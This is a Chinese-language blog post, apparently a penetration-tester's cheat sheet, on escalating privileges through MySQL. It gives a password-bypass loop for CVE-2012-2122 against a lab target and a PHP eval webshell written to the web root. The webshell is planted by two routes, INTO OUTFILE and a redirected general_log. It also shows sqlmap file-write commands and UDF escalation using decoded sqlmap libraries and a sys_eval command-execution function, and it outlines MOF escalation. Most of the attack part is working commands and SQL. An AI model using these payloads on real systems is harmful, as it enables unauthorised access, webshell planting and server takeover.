首页 > 数据库 >MYSQL提取

MYSQL提取

时间:2023-05-28 18:12:22浏览次数:63  
标签:sqlmap 提取 secure MYSQL sys file mysql priv

数据库root权限获取方法

  1. MYSQL 3306端口弱口令爆破
  2. sqlmap注入--sql-shell模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122漏洞

一、 CVE-2012-2122漏洞介绍
当连接MariaDB/MYSQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即使是memcmp()返回一个非零值,也会使MYSQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能直接登录MySQL数据库。

影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

二、 漏洞复现
kali:10.10.10.128
靶机:10.10.10.10

  1. 进入vulhub/vulhub/mysql/CVE-2012-2122目录下,执行:
docker-compose up -d 

docker ps

img
2. 启动msf,进行漏洞复现。

search cve-2012-2122
use 0
set rlhost 10.10.10.10

或者

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 10.10.10.10 -P3306 ; done

img

webshell权限获取

into outfile写shell条件:

  1. 知道网站物理路径
  2. 高权限数据库用户
  3. load_file()开启,即secure_file_priv无限制
  4. 网站路径有写入权限

查看数据库是否有secure_file_priv限制:

在MYSQL5.5之前secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
在MYSQL5.5之后secure_file_priv默认是NULL,这个情况下不可以写文件

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.23    |
+-----------+
1 row in set (0.01 sec)

mysql> show  global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.12 sec)

1. 获取root密码
2. 设置secure_file_priv
如果这里查询secure_file_priv值为null,则权限不允许导入或者导出,需要设置secure_file_priv进行修改为空后,再进行写入。
打开my.ini文件,加入下面语句再重启服务器。

secure_file_priv=''

3. 获取网站绝对路径,使用SQL命令写入shell

select '<?php @eval($_POST['hack']);?>' into outfile '/var/www/shell.php'

也可以使用sqlmap进行文件写入,如下:

sqlmap -u "http://www.test.com/?id=x" --file-write="/root/Desktop/shell.php" --file-dest="/var/www/shell.php"

在MYSQL5.5之后已经很难实现了,因为MYSQL5.5以后的版本secure_file_priv的值设置为null,没有导入导出权限,因此可以利用日志写shell。

二 、利用日志写shell
1. 开启MySQL日志,设置日志保存目录

mysql> SHOW VARIABLES LIKE '%general%';
+------------------+----------------------------------------+
| Variable_name    | Value                                  |
+------------------+----------------------------------------+
| general_log      | OFF                                    |
| general_log_file | /usr/local/mysql/data/d5ecaf07887a.log |
+------------------+----------------------------------------+
2 rows in set (0.22 sec)

general_log默认关闭,root用户可以直接通过mysql命令进行开启,开启日志记录后用户的每一条指令,将会保存在general_log_file中。所以可以通过开启general_log,然后自定义general_log_file来进行getshell。

set global general_log="ON";  #开启general_log
set global general_log_file="/var/www/shell.php";  #修改general_log_file路径

2. 写入shell

select "<?php @eval($_POST['hack']);?>";

然后使用蚁剑或者菜刀连接!!!

MYSQL提取

UDF提权
UDF(user-defined function)是MYSQL的一个扩展接口,也可称之为用户自定义函数,它是用来拓展MYSQL的技术手段,用户通过自定义函数来实现在MYSQL中无法实现的功能,添加的新函数都可以在SQL语句中调用,就像调用一些系统函数一样。

动态链接库
提权思路:把我们的动态链接库放置在特定的目录下,创建我们自定义函数,实现系统函数命令的调用,最终导致提权。

在mysql<5.1 导出目录c:/windows或system32
在mysql>=5.1 导出安装目录/lib/plugin/

有注入点,可以通过sqlmap中里面的UDF动态链接库进行导入

\sqlmap\data\udf\mysql
#sqlmap中动态链接库位置

sqlmap中的动态链接库为了防止被杀毒软件查杀,都经过了编码处理,不能直接利用,所以要用sqlmap自带的解码工具clock.py进行解码。

\sqlmap\extra\cloak   #cloak位置

#解码操作
D:\python27\sqlmap\extra\cloak>python cloak.py -d -i D:\python27\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so  #linux解码

D:\python27\sqlmap\extra\cloak>python cloak.py -d -i D:\python27\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll  #windows解码

动态链接库上传位置

show variables like '%plugin%';  #查看动态链接库

select @@basedir;   # 查看MySQL的安装目录

存在sql注入时
条件:secure_file_priv值为空,sql注入为最高权限。

python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" --file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" --file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

不存在sql注入时
条件:需要写入文件权限,secure_file_priv为空。

#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll';

动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

通过sql语句来自定义函数

#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
#查询自定义函数
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');

然后用我们这个自定义命令执行函数进行提权即可。

#删除自定义函数
mysql> drop function sys_eval;

MOF提权
现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

在一些Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本,我们都可以利用CVE-2016-6663、CVE-2016-6664组合对其进行测试提权。

原文地址:MySQL提权总结(建议收藏) - 随风kali - 博客园

标签:sqlmap,提取,secure,MYSQL,sys,file,mysql,priv
From: https://www.cnblogs.com/kalixcn/p/17438605.html

相关文章

  • Java:SpringBoot整合Canal+RabbitMQ组合实现MySQL数据监听
    canal[kə’næl],译意为水道/管道/沟渠,主要用途是基于MySQL数据库增量日志解析,提供增量数据订阅和消费目录一、MySQL设置二、启动Canal服务端三、通过Canal客户端消费数据四、通过RabbitMQ消费数据1、启动RabbitMQ2、修改canal配置3、消费RabbitMQ中的数据文档资料github:https......
  • Mysql与PG对比
    参考:https://zhuanlan.zhihu.com/p/435829273https://blog.csdn.net/weixin_40983094/article/details/119027700  PG直接提供忽略大小写的模糊匹配ilike提供分组排序row_number()over(partitionbyxxxorderbyxxxdesc)通过多版本并发控制MVCC支持并发,这使得写......
  • 202305281631-《远程Linux服务器——安装tomcat8、jdk1.8、mysql5——mysql workerben
    bash已连接的上,但workerbench连不上,提示:1.FailedtoConnecttoMySQLat11.11.11.111:[email protected]'11.11.11.111'isnotallowedtoconnecttothisMySQLserver解决办法(为什么,我也不知道):1.登录mysql,一次执......
  • MySQL学习进阶篇Day3
    2.4索引语法1).创建索引CREATE[UNIQUE|FULLTEXT]INDEXindex_nameONtable_name(index_col_name,...);  2).查看索引SHOWINDEXFROMtable_name;  3).删除索引DROPINDEXindex_nameONtable_name;  案例演示:先来创建一张表tb_use......
  • 使用linux安装mysql步骤
    在Linux上安装MySQL的详细步骤:打开终端并登录到Linux系统。使用以下命令更新系统软件包列表:sudoaptupdate安装MySQL服务器:sudoaptinstallmysql-server在安装过程中,系统会提示您输入MySQLroot用户的密码。请确保您输入的密码足够强度,并且请记住该密码。它将在以后访问MySQL时......
  • phpcms系统连接mysql失败
    phpcmsv9安装程序代码对提交的密码中特殊字符(如:&$^!@#)未进行escape转义处理。解决办法:1、修改install/step5.tpl.php127行为:'&dbpw='+escape($('#dbpw').val())2、修改install/step6.tpl.php55行为:vardbpw=escape('<?=$dbpw?>');......
  • MySQL脏读、幻读、不可重复读
    脏读->读未提交不可重复读->读已更新(两次读中数据被更新)幻读->读已新增(读中有数据新增)参考:https://www.bilibili.com/video/BV1Pv411P7Fd/?spm_id_from=333.788&vd_source=46d50b5d646b50dcb2a208d3946b1598......
  • 安装mysql
    1.MySQL下载到本地,地址:https://www.mysql.com/,并上传到服务器上: 2.使用该下面命令指向解压安装操作: ......
  • 202305280952-《远程Linux服务器——安装tomcat8、jdk1.8、mysql5——mysql启动报错》
    在bash执行"systemctlstartmysqld"   提示:“Jobformysqld.servicefailedbecausethecontrolprocessexitedwitherrorcode.See"systemctlstatusmysqld.service"and"journalctl-xe"fordetails.”   /var/lib/mysql权......
  • 使用存储过程循环往MySQL插入1000条数据
    #新建一个存储过程delimiter//dropprocedureifexistslooppc;createprocedurelooppc()begindeclareiint;seti=1;repeatinsertintosome_table(t_id,t_name,t_age)values(i,'中心点',3+i);seti=i+1;untili>=1000endrepeat;en......